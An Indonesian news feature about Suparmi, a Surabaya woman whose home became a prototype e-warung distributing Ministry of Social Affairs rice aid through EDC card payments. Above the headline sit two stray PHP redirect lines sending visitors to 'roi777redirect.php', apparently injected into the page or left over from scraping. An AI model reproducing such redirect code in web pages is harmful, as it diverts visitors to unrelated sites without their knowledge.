header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Kemensos Beri Rp 10 Juta untuk Perbaiki Rumah -
Kemensos Beri Rp 10 Juta untuk Perbaiki Rumah

Suparmi, Pengelola E-Warung yang Turut Mendistribusikan Beras bagi 

TRANSLAMPUNG.COM-Warung milik Suparmi bukan sembarang warung. Sistem jual belinya memakai peralatan canggih berupa smartphone dan sebuah electronicdatacapture (EDC). Warung yang terletak di Jalan Sidosermo 3 itu bakal menjadi terminal terakhir bantuan sembako dari Kementerian Sosial (Kemensos) sebelum sampai ke tangan warga miskin.

TAUFIQURRAHMAN

DUDUKAN di teras rumah Suparmi sebelah depan kini ditutupi dinding. Sebagian pagar teras samping dijebol untuk dibuat pintu berlipat mirip di toko-toko kelontong. Kini ruang depan rumahnya berubah menjadi gudang logistik. Isinya berkarung-karung beras.

Perempuan 41 tahun tersebut lantas mengambil EDC dan menancapkan salah satu kabelnya ke colokan di dinding. Mesin gesek itu pun berkedip saat Jawa Pos berkunjungkemarin (11/2).

Tangan kanan Suparmi memegang kartu ATM rastra (prasejahtera), sedangkan tangan kirinya memegang tablet. Kartu ATM berwarna merah tersebut lantas digesekkan ke EDC. ’’Pertama, kami cek saldo dari anggota Program Keluarga Harapan (PKH) yang mau ambil beras dulu,’’ kata Suparmi sambil memencet-mencet mesin gesek itu.

Saldo anggota PKH tidak boleh kurang dari harga sembako. Untuk bisa mengambil paket reguler berupa 10 kg beras dan 2 kg gula, saldo minimal Rp 110 ribu. Kalau saldo masih mencukupi, Suparmi melanjutkan layanan dengan membuka sistem informasi KMIS (koperasi masyarakat Indonesia sejahtera) di tabletnya.

Anggota PKH tinggal menyebutkan apa saja yang diinginkan. Di layar sudah tersedia jenis sembako beserta harganya. Dia tinggal menginput jumlah beras yang mau diambil anggota PKH. Suparmi kemudian mendebit rekening anggota PKH lewat mesin EDC sesuai dengan harga yang ditampilkan KMIS. ’’Haduh, ribet pokoknya. Ibu cuma lulusan SMP diajari cuma tiga hari,’’ katanya.

Kode approval pun muncul dari bill yang dicetak EDC. Suparmi kemudian memasukkan kode tersebut ke KMIS. Tekan send, transaksi anggota otomatis tercatat di pusat program rastra Kemensos. ’’Jadi, kalau mau ngambil lagi, ndak bisa,’’ ujarnya.

Suparmi menjadi anggota penerima bantuan beras untuk rakyat miskin (raskin) sejak 1999 bersama puluhan warga Sidosermo lainnya. Pada tahun ini, Kemensos berencana menerapkan program beras untuk keluarga sejahtera (rastra) sebagai pengganti raskin. Mulailah orang-orang seperti Suparmi dihimpun dalam kelompok bernama Program Keluarga Harapan (PKH).

Lalu, para pendamping PKH dari Kemensos menyuruh anggota PKH Sidosermo untuk menyetorkan foto keluarga di depan rumah. ’’Saya sudah curiga ini maksudnya apa disuruh foto depan rumah,’’ cerita Suparmi.

Benar saja, tak lama kemudian, tim pendamping PKH mendatangi Suparmi dan memberi tahu bahwa rumahnya terpilih menjadi prototipe e-warung. Itu semacam warung biasa, namun tugasnya untuk menyalurkan bantuan sembako dari Kemensos ke masyarakat penerima manfaat. ’’Dari anggota lain, cuma rumah saya yang di pinggir jalan, depannya lebar, dan sertifikatnya tidak ada masalah,’’ katanya.

Sejak saat itu, Suparmi mulai sibuk. Kemensos memberinya suntikan dana Rp 10 juta untuk perbaikan fasad rumah, atap, plafon, rak besi, dan pintu lipat. Semua dilakukan untuk menyulap depan rumahnya menjadi sebuah warung. Setelah semua bahan terkumpul, Suparmi dikabari bahwa Menteri Sosial Khofifah Indar Parawansa akan bertamu ke rumahnya tiga hari mendatang.

’’Pokoknya, saya pusing waktu itu. Bu Menteri datang, catnya masih basah,’’ katanya sambil menunjuk ke dinding. Launching e-warung pertama di Surabaya dilakukan langsung oleh Mensos pada 6 Agustus 2016.

Beberapa kali dalam sebulan, warung Suparmi akan mendapat suplai dari Bulog terdekat. Berupa beras, gula, tepung, dan minyak goreng. Pupuk dan tabung LPG masih berada dalam masa percobaan.

Sementara itu, 66 anggota PKH Kelurahan Sidosermo juga akan mendapat kartu ATM khusus. Setiap bulan Kemensos bakal mengirimkan uang Rp 110 ribu kepada masing-masing rekening. Uang di dalam ATM tersebut bisa dibawa ke e-warung seperti milik Suparmi.

Kemarin, saat launching, Suparmi disuplai puluhan karung beras rastra dari Bulog. Uang pun ditransfer ke rekening anggota PKH Sidosermo. Tujuannya, ada simulasi transaksi saat Khofifah datang. Sayang, para PKH salah paham. Uang tersebut dibuat bayar sekolah ataupun keperluan lain. Sekitar 20 karung beras sampai sekarang masih mengendap di warung Suparmi. (*/c19/git/sep/JPG)

News Reporter